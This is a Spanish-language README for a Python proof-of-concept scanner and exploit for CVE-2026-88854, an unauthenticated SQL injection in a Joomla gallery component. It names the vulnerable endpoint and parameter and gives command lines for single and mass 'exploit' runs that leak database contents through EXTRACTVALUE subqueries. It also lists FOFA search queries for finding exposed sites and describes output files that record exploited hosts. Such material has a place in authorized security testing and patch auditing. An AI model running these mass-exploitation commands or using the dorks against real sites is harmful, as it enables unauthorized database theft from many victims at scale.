
Escáner PoC y exploit en Python 3 para CVE-2026-88854, una inyección SQL no autenticada en OrdaSoft Joomla Gallery, con modos de comprobación masiva y lectura de datos mediante EXTRACTVALUE.
Escáner/exploit PoC en Python 3 para CVE-2026-88854 en OrdaSoft OS Responsive Image Gallery para Joomla.
| Componente | com_osgallery, com_osgallery_light |
| Afectados | 1.0.0 – 6.2.6 |
| Corregido en | 6.2.7+ |
| CVSS 4.0 | 9.3 (Crítico) |
| Autenticación | Ninguna (público mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() leen textsearch / searchText mediante $input->getVar(), que no aplica un escape SQL adecuado. El valor se concatena en una cláusula LIKE. Los visitantes no autenticados pueden usar inyección de tipo UNION para leer el contenido de la base de datos.
Superficie de petición típica:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Las instalaciones heredadas pueden usar el nombre de tarea searhResult (error tipográfico).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| Archivo | Contenido |
|---|---|
cve_2026_88854_results.jsonl | JSON por objetivo |
hits.txt | URLs candidatas (exploitable_candidate) |
status (check)audit_scan.py)Tras un check masivo, ejecute audit_scan.py para volver a obtener los manifiestos del administrador y dividir los objetivos:
La versión de la galería se lee del elemento <version> en administrator/components/com_osgallery/osgallery.xml, no del atributo extension version= de Joomla.
EXTRACTVALUE basado en errores de MySQL; MariaDB/Postgres, errores deshabilitados o WAF pueden no producir ninguna fuga incluso cuando el CVE aplica.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Las listas de objetivos locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) están en .gitignore y no deben confirmarse.
Solo para pruebas de seguridad autorizadas. Usted es responsable del cumplimiento de las leyes aplicables y las reglas del programa.
| Opción | Descripción |
|---|
-u, --url | URL base de un único objetivo (instalaciones en subdirectorio: incluir la ruta) |
--list | Archivo de lista de objetivos (una URL por línea) |
--mode | check o exploit |
--subquery | SQL dentro de EXTRACTVALUE (modo exploit, por defecto SELECT VERSION()) |
--threads, -j | Concurrencia masiva (por defecto 20) |
--timeout | Segundos de timeout HTTP (por defecto 20) |
--proxy | URL del proxy HTTP(S) |
--output | Resultados JSONL (por defecto cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; exploit → exploited.txt |
--quiet, -q | Menos salida de progreso |
| Estado | Significado |
|---|
sqli_confirmed | SQLi basada en error/tiempo o fuga verificada de EXTRACTVALUE |
likely_vulnerable_version | Versión del manifiesto ≤ 6.2.6 + endpoint de búsqueda |
likely_component | Galería detectada, versión desconocida |
boolean_inconclusive | Solo diferencia en longitud de respuesta (a menudo WAF); no se cuenta como confirmado |
patched_version | Versión del manifiesto > 6.2.6 |
component_no_search_endpoint | Componente presente, tarea de búsqueda no accesible |
no_component | com_osgallery no detectado |
| Archivo | Contenido |
|---|
hits_version_lte_626.txt | Versión de galería del manifiesto ≤ 6.2.6 |
hits_component_endpoint.txt | Galería + endpoint, versión ilegible |
hits_patched.txt | Manifiesto > 6.2.6 |
fofa_stale.txt | Sin componente (fila FOFA obsoleta) |
cve_2026_88854_audit.jsonl | JSONL enriquecido |